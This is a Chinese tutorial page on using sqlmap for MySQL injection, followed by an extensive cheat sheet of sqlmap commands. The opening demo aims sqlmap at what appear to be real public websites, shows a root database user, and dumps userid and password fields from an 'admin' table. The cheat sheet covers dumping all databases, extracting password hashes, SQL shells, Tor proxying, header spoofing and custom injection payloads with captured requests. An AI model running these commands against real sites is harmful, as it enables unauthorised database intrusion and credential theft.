sqlmap 简单mysql注入演示[附截图]

所属分类: 软件教程 / 安全相关 阅读数: 1467
收藏 0 赞 0 分享
安装教程百度一下就有了.
首先下载需要的文件,如果是windows环境直接到https://www.jb51.net/softs/63591.html下载安装所需要的文件即可。
看大牛的视频,学习一下,附上截图....算是转载吧...只是为了分享一下..

下边是实例:

sqlmap.py -update  更新

-h                  help 

sqlmap.py -u http://www.wepost.com.hk/article.php?id=276 --dbms "Mysql" --current-user

/*  注解:获取当前用户名称

current user:    'root@localhost'

sqlmap简单mysql注入演示(附截图)脚本之家

   sqlmap.py -u http://www.wepost.com.hk/article.php?id=276 --dbms "Mysql" --current-db

  /*当前数据库

current database:    'wepost'

sqlmap简单mysql注入演示(附截图)脚本之家

 sqlmap.py -u http://www.wepost.com.hk/article.php?id=276 --dbms "Mysql" --tables  -D "wepost"

sqlmap简单mysql注入演示(附截图)脚本之家

 

sqlmap.py -u http://www.wepost.com.hk/article.php?id=276 --dbms "Mysql" --columns 

-T "admin" -D "wepost"

sqlmap简单mysql注入演示(附截图)脚本之家

sqlmap.py -u http://www.wepost.com.hk/article.php?id=276 --dbms "Mysql"  --dump  -C "userid,password"  -T "admin" -D "wepost" -v 0      /*获取字段里面的内容

sqlmap简单mysql注入演示(附截图)脚本之家

sqlmap简单mysql注入演示(附截图)脚本之家

sqlmap简单中文说明

更新
svn checkout https://svn.sqlmap.org/sqlmap/trunk/sqlmap sqlmap-dev
sqlmap.py -u "http://www.islamichina.com/hotelinchina.asp?cityid=2&m=1" -v 1 --sql-shell //执行SQL语句
sqlmap.py -u "http://www.islamichina.com/hotelinchina.asp?cityid=2&m=1" -v 5 //更详细的信息
load options from a configuration INI file
sqlmap -c sqlmap.conf

使用POST方法提交
sqlmap.py -u "http://192.168.1.121/sqlmap/oracle/post_int.php" --method POST --data "id=1"
使用COOKIES方式提交,cookie的值用;分割,可以使用TamperData来抓cookies
python sqlmap.py -u "http://192.168.1.121/sqlmap/mssql/cookie_int.php" --cookie "id=1" -v 1
使用referer欺骗
python sqlmap.py -u "http://192.168.1.121/sqlmap/pgsql/get_int.php?id=1" --referer "http://www.google.com" -v 3
使用自定义user-agent,或者使用随机使用自带的user-agents.txt
python sqlmap.py -u "http://192.168.1.121/sqlmap/oracle/get_int.php?id=1" --user-agent "Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1)" -v 3
python sqlmap.py -u "http://192.168.1.121/sqlmap/mysql/get_int.php?id=1" -v 1 -a "./txt/user-agents.txt"
使用基本认证
python sqlmap.py -u "http://192.168.1.121/sqlmap/mysql/basic/get_int.php?id=1" --auth-type Basic --auth-cred "testuser:testpass" -v 3
使用Digest认证
python sqlmap.py -u "http://192.168.1.121/sqlmap/mysql/digest/get_int.php?id=1" --auth-type Digest --auth-cred "testuser:testpass" -v 3
使用代理,配合TOR
python sqlmap.py -u "http://192.168.1.121/sqlmap/pgsql/get_int.php?id=1" --proxy "http://192.168.1.47:3128"
python sqlmap.py -u "http://192.168.1.121/sqlmap/pgsql/get_int.php?id=1" --proxy "http://192.168.1.47:8118"
使用多线程猜解
python sqlmap.py -u "http://192.168.1.121/sqlmap/mysql/get_int.php?id=1" -v 1 --current-user --threads 3
绕过动态检测,直接指定有注入点的参数,可以使用,分割多个参数,指定user-agent注入
python sqlmap.py -u "http://192.168.1.121/sqlmap/pgsql/get_int.php?id=1" -v 1 -p "id
python sqlmap.py -u "http://192.168.1.121/sqlmap/pgsql/get_int.php?id=1&cat=2" -v 1 -p "cat,id"
python sqlmap.py -u "http://192.168.1.121/sqlmap/mysql/ua_str.php" -v 1 -p "user-agent" --user-agent "sqlmap/0.7rc1 (http://sqlmap.sourceforge.net)"
指定数据库,绕过SQLMAP的自动检测
python sqlmap.py -u "http://192.168.1.121/sqlmap/pgsql/get_int.php?id=1" -v 2 --dbms "PostgreSQL"
* MySQL
* Oracle
* PostgreSQL
* Microsoft SQL Server
指定操作系统,绕过SQLMAP自动检测
python sqlmap.py -u "http://192.168.1.121/sqlmap/pgsql/get_int.php?id=1" -v 2 --os "Windows"
* Linux
* Windows
自定义payload
Options: --prefix and --postfix
In some circumstances the vulnerable parameter is exploitable only if the user provides a postfix to be appended to the injection payload. Another scenario where these options come handy presents itself when the user already knows that query syntax and want to detect and exploit the SQL injection by directly providing a injection payload prefix and/or postfix.
Example on a MySQL 5.0.67 target on a page where the SQL query is: $query = "SELECT * FROM users WHERE id=('" . $_GET['id'] . "') LIMIT 0, 1";:
$ python sqlmap.py -u "http://192.168.1.121/sqlmap/mysql/get_str_brackets.php?id=1" -v 3 -p "id" --prefix "'" --postfix "AND 'test'='test"
[...]
[hh:mm:16] [INFO] testing sql injection on GET parameter 'id' with 0 parenthesis
[hh:mm:16] [INFO] testing custom injection on GET parameter 'id'
[hh:mm:16] [TRAFFIC OUT] HTTP request:
GET /sqlmap/mysql/get_str_brackets.php?id=1%27%29%20AND%207433=7433%20AND%20
%28%27test%27=%27test HTTP/1.1
Accept-charset: ISO-8859-15,utf-8;q=0.7,*;q=0.7
Host: 192.168.1.121:80
Accept-language: en-us,en;q=0.5
Accept: text/xml,application/xml,application/xhtml+xml,text/html;q=0.9,text/plain;q=0.8,
image/png,*/*;q=0.5
User-agent: sqlmap/0.7rc1 (http://sqlmap.sourceforge.net)
Connection: close
[...]
[hh:mm:17] [INFO] GET parameter 'id' is custom injectable
[...]
As you can see, the injection payload for testing for custom injection is:
id=1%27%29%20AND%207433=7433%20AND%20%28%27test%27=%27test
which URL decoded is:
id=1') AND 7433=7433 AND ('test'='test
and makes the query syntatically correct to the page query:
SELECT * FROM users WHERE id=('1') AND 7433=7433 AND ('test'='test') LIMIT 0, 1
In this simple example, sqlmap could detect the SQL injection and exploit it without need to provide a custom injection payload, but sometimes in the real world application it is necessary to provide it.
页面比较
python sqlmap.py -u "http://192.168.1.121/sqlmap/mysql/get_int_refresh.php?id=1" --string "luther" -v 1
python sqlmap.py -u "http://192.168.1.121/sqlmap/mysql/get_int_refresh.php?id=1" --regexp "<td>lu[\w][\w]er" -v
排除网站的内容
python sqlmap.py -u "http://192.168.1.121/sqlmap/mysql/get_int_refresh.php?id=1" --excl-reg "Dynamic content: ([\d]+)"
多语句测试,php内嵌函数mysql_query(),不支持多语句
python sqlmap.py -u "http://192.168.1.121/sqlmap/mysql/get_int.php?id=1" --stacked-test -v 1
union注入测试
python sqlmap.py -u "http://192.168.1.121/sqlmap/oracle/get_int.php?id=1" --union-test -v 1
unionz注入配合orderby
python sqlmap.py -u "http://192.168.1.121/sqlmap/pgsql/get_str.php?id=1" --union-test --union-tech orderby -v 1
python sqlmap.py -u "http://192.168.1.121/sqlmap/mssql/get_int.php?id=1" -v 1 --union-use --banner
python sqlmap.py -u "http://192.168.1.121/sqlmap/mysql/get_int.php?id=1" -v 5 --union-use --current-user
python sqlmap.py -u "http://192.168.1.121/sqlmap/mysql/get_int_partialunion.php?id=1" -v 1 --union-use --dbs
fingerprint
python sqlmap.py -u "http://192.168.1.121/sqlmap/mssql/get_int.php?id=1" -v 1 -f
python sqlmap.py -u "http://192.168.123.36/sqlmap/get_str.asp?name=luther" -v 1 -f -b
判断当前用户是否是dba
python sqlmap.py -u "http://192.168.1.121/sqlmap/pgsql/get_int.php?id=1" --is-dba -v 1
列举数据库用户
python sqlmap.py -u "http://192.168.1.121/sqlmap/pgsql/get_int.php?id=1" --users -v 0
列举数据库用户密码
python sqlmap.py -u "http://192.168.1.121/sqlmap/mysql/get_int.php?id=1" --passwords -v 0
python sqlmap.py -u "http://192.168.1.121/sqlmap/mssql/get_int.php?id=1" --passwords -U sa -v 0
查看用户权限
python sqlmap.py -u "http://192.168.1.121/sqlmap/oracle/get_int.php?id=1" --privileges -v 0
python sqlmap.py -u "http://192.168.1.121/sqlmap/pgsql/get_int.php?id=1" --privileges -U postgres -v 0
列数据库
python sqlmap.py -u "http://192.168.1.121/sqlmap/mssql/get_int.php?id=1" --dbs -v 0
列出指定数据库指定表的列名
python sqlmap.py -u "http://192.168.1.121/sqlmap/mysql/get_int.php?id=1" --columns -T users -D test -v 1
列出指定数据库的指定表的指定列的内容
python sqlmap.py -u "http://192.168.1.121/sqlmap/mssql/get_int.php?id=1" --dump -T users -D master -C surname -v 0
指定列的范围从2-4
python sqlmap.py -u "http://192.168.1.121/sqlmap/mysql/get_int.php?id=1" --dump -T users -D test --start 2 --stop 4 -v 0
导出所有数据库,所有表的内容
python sqlmap.py -u "http://192.168.1.121/sqlmap/mysql/get_int.php?id=1" --dump-all -v 0
只列出用户自己新建的数据库和表的内容
python sqlmap.py -u "http://192.168.1.121/sqlmap/mssql/get_int.php?id=1" --dump-all --exclude-sysdbs -v 0
sql query
python sqlmap.py -u "http://192.168.1.121/sqlmap/pgsql/get_int.php?id=1" --sql-query "SELECT usename FROM pg_user" -v 0
python sqlmap.py -u "http://192.168.1.121/sqlmap/mysql/get_int.php?id=1" --sql-query "SELECT host, password FROM mysql.user LIMIT 1, 3" -v 1
SELECT usename, passwd FROM pg_shadow ORDER BY usename
保存和恢复会话
python sqlmap.py -u "http://192.168.1.121/sqlmap/pgsql/get_int.php?id=1" -b -v 1 -s "sqlmap.log"
保存选项到INC配置文件
python sqlmap.py -u "http://192.168.1.121/sqlmap/pgsql/get_int.php?id=1" -b -v 1 --save

更多精彩内容其他人还在看

百度杀毒和360杀毒哪个杀毒软件更好?区别对比

百度杀毒和360杀毒哪个杀毒软件更好?我想很多人在百度杀毒软件出来之后都是很纠结的,一直在用着360杀毒软件,现在是否应该考虑下换成百度杀毒呢?其实对于这两款杀毒软件,我们选择哪个好关键还是看个人的,小编就来阐述一下百度杀毒和360安全杀毒软件,一起来看看
收藏 0 赞 0 分享

iWorm蠕虫病毒怎么查杀 360杀毒iWorm教程

近日iWorm蠕虫病毒开始肆虐苹果电脑,那么iWorm蠕虫病毒怎么查杀呢?本文小编就来教一下大家360杀毒iWorm教程。
收藏 0 赞 0 分享

教你怎样使用百度卫士来清理插件

朋友们使用完电脑后,可能会有很多的插件残留在你的电脑上,这时就需要借助外面的力量来清理插件。其实百度卫士就有清理插件的功能,下面就给大家分享关于百度卫士怎么样清理插件
收藏 0 赞 0 分享

网站安全狗是什么 网站安全狗特点使用详细介绍

网站安全狗是一款网站安全防范保护工具。网站安全狗是防注入、防CC及网马查杀,全面保护您的网站安全
收藏 0 赞 0 分享

百度杀毒怎么卸载不了?百度杀毒彻底删除图文教程

相信很多朋友和小编一样,之前有下载过百度杀毒软件,过段时间不想用了就想删除它,可是却怎么也删除不掉,那么许多网友就会问了百度杀毒怎么卸载不了,当时小编也很郁闷,还好小编找到了解决方法,下面就给大家带来百度杀毒彻底删除图文教程
收藏 0 赞 0 分享

百度杀毒软件无法删除其不允许第三方程序卸载的解决方法

杀毒防护软件可以保护自己电脑的安全,百度杀毒软件使用一段时间后,想将它删除,结果删除失败,不允许第三方程序进行卸载,如果你执意要删除请看下面的方法
收藏 0 赞 0 分享

使用360安全卫士强力卸载删除金山游戏盒子

很多朋友对金山游戏盒子怎么卸载表示疑惑,如果要强力删除的话,可以使用360安全卫士或者腾讯电脑管家的软件管理中强力删除,下面是具体的操作
收藏 0 赞 0 分享

QQ电脑管家安全金币的作用介绍以及刷金币的详细图文教程

今天在安装QQ电脑管家以后,送了安全金币,很多朋友肯定和我一样郁闷这个安全金币有什么作用,如何得到更多的安全金币。今天小编就带大家解决这些问题。
收藏 0 赞 0 分享

如何干净彻底卸载有密码的诺顿symantec杀毒软件

如何干净彻底卸载有密码的诺顿symantec杀毒软件?对于不懂电脑的人可能觉得有点难度,其实方法很简单,今天小编就为大家介绍一种方法,无需密码,通过注册表删除键值卸载,希望能帮到大家
收藏 0 赞 0 分享

如何利用QQ电脑管家安全金币兑换一个月QQ红钻

qq电脑管家出来时间这么长了,相信大家的安全金币应该都有不少吧!没有金币的也不要紧,只用每日做任务即可攒到金币,今天小编教给大家的教程是利用电脑管家安全金币免费兑换QQ红钻一个月,这么超值的机会大家可千万不要错过哦
收藏 0 赞 0 分享
查看更多